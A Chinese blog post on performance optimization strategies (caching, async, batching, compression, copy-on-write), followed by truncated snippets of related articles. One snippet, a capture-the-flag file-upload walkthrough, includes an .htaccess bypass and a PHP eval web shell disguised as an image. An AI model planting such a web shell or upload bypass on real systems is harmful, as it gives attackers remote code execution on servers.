【性能优化】聊聊性能优化那些事
针对于互联网应用来说,性能优化其实就是一直需要做的事情,因为系统响应慢,是非常影响用户的体验,可能回造成用户流失。所以对于性能非常重要。最近正好接到一个性能优化的需求,需要对所负责的系统进行性能提升。目前接口耗时基本在30S左右,争取可以提升到16S内。所以就先了解以下相关的性能优化,其实我理解性能优化,一个是在预防,一个是出现问题后进行解决。二前期主要在架构设计与编码层面,后期是如何找到性能瓶颈进行有效的优化。
衡量性能优化
QPS:通常指代的是查询操作
TPS :指代的是写操作
响应时间 :系统请求之后返回来的时间
吞吐量
架构设计
缓存、异步、集群 是性能优化的三板斧。缓存从一定程度上可以提升系统的读性能。异步可以提升系统写性能,而集群可以提升系统整体的吞吐量。
缓存:传统意义上的缓存,可以从客户端缓存->CDN缓存->网关缓存->负载均衡缓存->应用程序缓存->分布式缓存->数据库缓存->文件缓存->CPU缓存等进行一路拦截,通过将请求拦截在越前面,越能提升系统的整体读性能。
异步:异步主要是通过进行将穿行执行的过程,进行异步执行。然后通过回调结果就可以。比如JUC中的工具类,Go中的协程。消息队列等。
除了以上的架构层面,其实还需要在编码层面进行优化,比如使用并发编程、线程池复用、异步编程、更高效的算法等。
所以总结起来就是如下几点
- 网络层面优化
- 服务器硬件层面优化
- 操作系统优化
- JVM性能优化
- 基础组建优化(MySQL、Kafka、Redis等)
- 软件架构层面优化
- 软件代码优化
如何进行性能优化
性能优化六大原则
在性能优化的时候,其实要先找到性能最大的瓶颈,是存储、计算、网络问题。然后根据数据分析进优化,而不应该两手一把抓。而大多数的时候,都是程序和数据库层面的问题,这个时候我们需要使用计时工具进行先记录各个流程的耗时,然后根据不同的耗时进行优化。
找到根本原因,然后进行平衡成本与工作投入比。任何的优化方案都可能是trade-off。所以我们需要平衡。根据不同性能指标权衡,找到一个最优解达到总体和整体最优。
而在性能优化的过程中,我们不能过度优化,比如一个系统只有几个人使用,而过去去优化,显然成本与收益不平衡。
所以,我们不能过早的优化,优化的时间点,一般都是在一个产品比较成熟的时候,为了进一步提升整体的性能而做的优化。
性能优化十大策略
时空转换
空间换时间
空间换时间的本质是,通过将空间增加存储,来提升时间。
对于一个全球业务,可以采用CDN进行多分数据的拷贝,覆盖每个地方的用户。
集群也是通过多台服务器的空间减少延迟的减少。
时间换空间
时间换空间的本质是通过,增加时间减少空间的存储,对于系统来说,CPU、内存是比较稀缺的空间资源。
- 可以通过改变数据结构或者数据格式,减少存储数据的大小
- 进行数据压缩。采用压缩算法。可以降低网络传输和外部存储。
- 内存数据存储到磁盘中
而衡量一个压缩算法主要就是三个指标,压缩比例、压缩速度、使用内存。
案例:Kafka采用压缩算法进行压缩数据。生产者压缩,消费者解压缩。RPC通过自定义数据结构,减少调用方和被调用方的网络传输。
预先和延后处理
预先处理
预先处理,其实就是将数据或者三方调用进行提前调用。比如操作系统中文件、CPU和内存都会进行局部性原理数据读取,提前加载顺俗读取的数据,以及提升执行速度。
延后处理
延后处理,一般是在非要的时候才进行计算,操作。COW就是这个案例,当多个线程操作同一份共享数据的时候,如果只是读,那么可以直接操作,但是当有线程进行写的时候,就复制一份进行专门写,而不会影响别的线程进行读取。
在linux中,fork一个子进程就是写的时候会进行复制,还有java CopyOnWrite中也是如此。
并行/异步操作
并行
并行是通过一个任务处理慢,可以多个任务同时执行,以此来提升速度。可以在服务器、多线程、指令级别进行操作。比如JUC、Go中协程等。
异步
异步是相对于同步来说,异步可以不用等待结果的返回阻塞在哪里,比如IO多路复用就是通过异步操作,虽然增加来一点操作复杂度,但是性能提升非常明显。
缓存/批量合并
缓存
缓存其实是无处不在,CPU、内存、文件系统、存储系统、内容分发、数据库、框架、中间件等。本质是通过存储数据提升访问速度。
批量合并处理
其实主要是针对IO和网络IO的时候,将一批数据进行读写,可以提升吞吐量、提升性能。
比如Kafka中就是为了减少网络传输,一次发送一批的数据到Broker中。
MySQL也建议通过尽量合并读写。比较顺序的IO读写 速度更快。
算法和数据结构
算法
算法本质是为了解决不同的场景下的问题,可以通过利用不同算法提升性能。比如LRU可以数据淘汰算法、排序算法解决排序问题。
数据结构
而不同的结构,也有不同的适用场景,Set、List、Map等。去重、有序、key、value
小结
本篇主要从预防性能的架构设计和编码层面去聊性能优化,以及当出现性能瓶颈后,应该采用三要三不要,以及对应的十大优化策略进行优化。
相关文章:

【性能优化】聊聊性能优化那些事
针对于互联网应用来说,性能优化其实就是一直需要做的事情,因为系统响应慢,是非常影响用户的体验,可能回造成用户流失。所以对于性能非常重要。最近正好接到一个性能优化的需求,需要对所负责的系统进行性能提升。目前接…...

k8s 查看加入主节点命令 k8s重新查看加入节点命令 k8s输入删除,重新查看加入命令 kuberadm查看加入节点命令
1. 使用kuberadm 安装成功后,clear清除了屏幕数据,加入命令无法查看,使用如下,重新查看node如何加入主节点命令: kubeadm token create --print-join-command --ttl 0 2.画圈的全部是,都复制,在…...

Scalene:Python CPU+GPU+内存分析器,具有人工智能驱动的优化建议
一、前言 Python 是一种广泛使用的编程语言,通常与其他语言编写的库一起使用。在这种情况下,如何提高性能和内存使用率可能会变得很复杂。但是,现在有一个解决方案,可以轻松地解决这些问题 - 分析器。 分析器旨在找出哪些代码段…...

C语言练习8(巩固提升)
C语言练习8 编程题 前言 奋斗是曲折的,“为有牺牲多壮志,敢教日月换新天”,要奋斗就会有牺牲,我们要始终发扬大无畏精神和无私奉献精神。奋斗者是精神最为富足的人,也是最懂得幸福、最享受幸福的人。正如马克思所讲&am…...

Java匿名内部类
文章目录 前言一、使用匿名内部类需要注意什么?二、使用步骤匿名内部类的结构匿名内部类的实用场景1. 事件监听器2. 过滤器3. 线程4. 实现接口5.单元测试:6.GUI编程7.回调函数 前言 Java中的匿名内部类是一种可以在声明时直接创建对象的内部类。这种内部…...

Shiro和SpringSecurity的区别
文章目录 前言1.Shiro:Shiro的特点: 2.SpringSecurity:SpringSecurity特点: 3.对比:总结 前言 Shiro 和 Spring Security 都是用于在Java应用程序中实现身份验证(Authentication)和授权&#x…...

【STM32】学习笔记(OLED)
调试方式 OLED简介 硬件电路 驱动函数 OLED.H #ifndef __OLED_H #define __OLED_Hvoid OLED_Init(void); void OLED_Clear(void); void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char); void OLED_ShowString(uint8_t Line, uint8_t Column, char *String); void OL…...

概念解析 | 认知雷达:有大脑的雷达
注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:认知雷达。 认知雷达:有大脑的雷达 1.背景介绍 对于传统的雷达,它们通常都是预设定参数和模式来进行工作,比如发射功率、波形、扫描模式等。然而,这种方式面临着一些挑…...

B. Long Long
time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an�1,�2,…,�� of length n�. He can apply as m…...

CTFhub-文件上传-.htaccess
首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...

Python中的绝对和相对导入
在本文中,我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式,但它不是唯一的…...

C语言关于与运算符
C语言关于&与&&运算符 我们知道,在很多场景中&和&&通常可以相互代替,那么它们到底有什么不同呢? 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下: movb -5(%rbp), %al …...

计算机网络(速率、宽带、吞吐量、时延、发送时延)
速率: 最重要的一个性能指标。 指的是数据的传送速率,也称为数据率 (data rate) 或比特率 (bit rate)。 单位:bit/s,或 kbit/s、Mbit/s、 Gbit/s 等。 例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。 速率往往是指额定速率或…...

kubectl入门
一.kubectl的三种资源管理方式: 二. kubectl资源介绍: 1.namespace:实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问,如果不想让两个pod之间相互访问,就将其划分到不同ns下。 2.podÿ…...

Android JNI系列详解之ndk-build工具的使用
一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用,今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式: 如上图所示,第一种方式是Android.mkApplication.mkgradle的方式生成…...

【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句
商城检索服务 1.检索页面的搭建 商品检索页面我们放在search服务中处理,首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <!-- 添加Thymeleaf的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifa…...

QTday4
实现闹钟功能 1》 头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...

设计模式之命令模式(Command)的C++实现
1、命令模式的提出 在软件开发过程中,“行为请求者”和“行为实现者”通常呈现一种“紧耦合”,如果行为的实现经常变化,则不利于代码的维护。命令模式可以将行为的请求者和行为的实现者进行解耦。具体流程是将行为请求者封装成一个对象&…...

取证工具prodiscover的基本操作
前言提醒 取证工具ProDiscover在网上讲解操作的文章实在太少,一是prodiscover是用于磁盘取证的工具,本身比较小众比不上其他的编程软件能用到的地方多,二是这个工具是用来恢复提取磁盘中被删除的文件,是比较隐晦的软件。 需要注…...

flutter plugins插件【二】【FlutterAssetsGenerator】
2、FlutterAssetsGenerator 介绍地址:https://juejin.cn/post/6898542896274735117 配置assets目录 插件会从pubspec.yaml文件下读取assets目录,因此要使用本插件,你需要在pubspec.yaml下配置资源目录 flutter:# The following line ens…...

看懂UML类图
UML 统一建模语言(Unified Modeling Language,UML)是一种为面向对象系统的产品进行说明、可视化和编制文档的一种标准语言,是非专利的第三代建模和规约语言。UML是面向对象设计的建模工具,独立于任何具体程序设计语言。 类的表示 首先看那个…...

keras深度学习框架通过简单神经网络实现手写数字识别
背景 keras深度学习框架,并不是一个独立的深度学习框架,它后台依赖tensorflow或者theano。大部分开发者应该使用的是tensorflow。keras可以很方便的像搭积木一样根据模型搭出我们需要的神经网络,然后进行编译,训练,测试…...

React 中的 ref 如何操作 dom节点,使输入框获取焦点
聚焦文字输入框 .focus() 获取焦点 当用户点击按钮时,handleClick 函数会被调用,从而将焦点聚焦到文本输入框上。 // 焦文字输入框 import { useRef } from "react";const FocusForm () > {const inputRef useRef<any>(null);func…...

最短路Dijkstra,spfa,图论二分图算法AYIT---ACM训练(模板版)
文章目录 前言A - Dijkstra Algorithm0x00 算法题目0x01 算法思路0x02 代码实现 B - 最长路0x00 算法题目0x01 算法思路0x02 代码实现 C - 二分图最大匹配0x00 算法题目0x01 算法思路0x02 代码实现 D - 搭配飞行员0x00 算法题目0x01 算法思路0x02 代码实现 E - The Perfect Sta…...

AK 微众银行 9.3 笔试 Java后端方向
T1(模拟,二分) (没看清买的糖果只有前缀,一开始用二分写了,后来意识到也没改了,简单写的话,直接模拟就好了) #include <bits/stdc.h>#define endl \nusing namespace std;const int N 50010;int n; int a[N];bool check(…...

了解java中的通配符“?“
目录 通配符的作用 先看一段代码 用通配符"?"后,代码变化 结论 通配符上界 通配符下界 对通配符上下界的注释理解及其练习代码 简记: ? 用于在泛型的使用,即为通配符. 在Java中,通配符(wildcard)主要用于泛型…...

浙大陈越何钦铭数据结构07-图6 旅游规划【最小堆实现】
题目: 题目和浙大陈越何钦铭数据结构07-图6 旅游规划是一样的,不同的是用最小堆实现函数【FindMinDist】。 时间复杂度对比: 浙大陈越何钦铭数据结构07-图6 旅游规划: 创建图(CreateGraph):时…...

OpenShift 4 - 用 Prometheus 和 Grafana 监视用户应用定制的观测指标(视频)
《OpenShift / RHEL / DevSecOps 汇总目录》 说明:本文已经在 OpenShift 4.13 的环境中验证 文章目录 OpenShift 的监控功能构成部署被监控应用用 OpenShift 内置功能监控应用用 Grafana 监控应用安装 Grafana 运行环境配置 Grafana 数据源定制监控 Dashboard 演示视…...

【LeetCode】剑指 Offer <二刷>(3)
目录 题目:剑指 Offer 06. 从尾到头打印链表 - 力扣(LeetCode) 题目的接口: 解题思路: 代码: 过啦!!! 题目:剑指 Offer 07. 重建二叉树 - 力扣…...

Ceph IO流程及数据分布
1. Ceph IO流程及数据分布 1.1 正常IO流程图 步骤: client 创建cluster handler。client 读取配置文件。client 连接上monitor,获取集群map信息。client 读写io 根据crshmap 算法请求对应的主osd数据节点。主osd数据节点同时写入另外两个副本节点数据。…...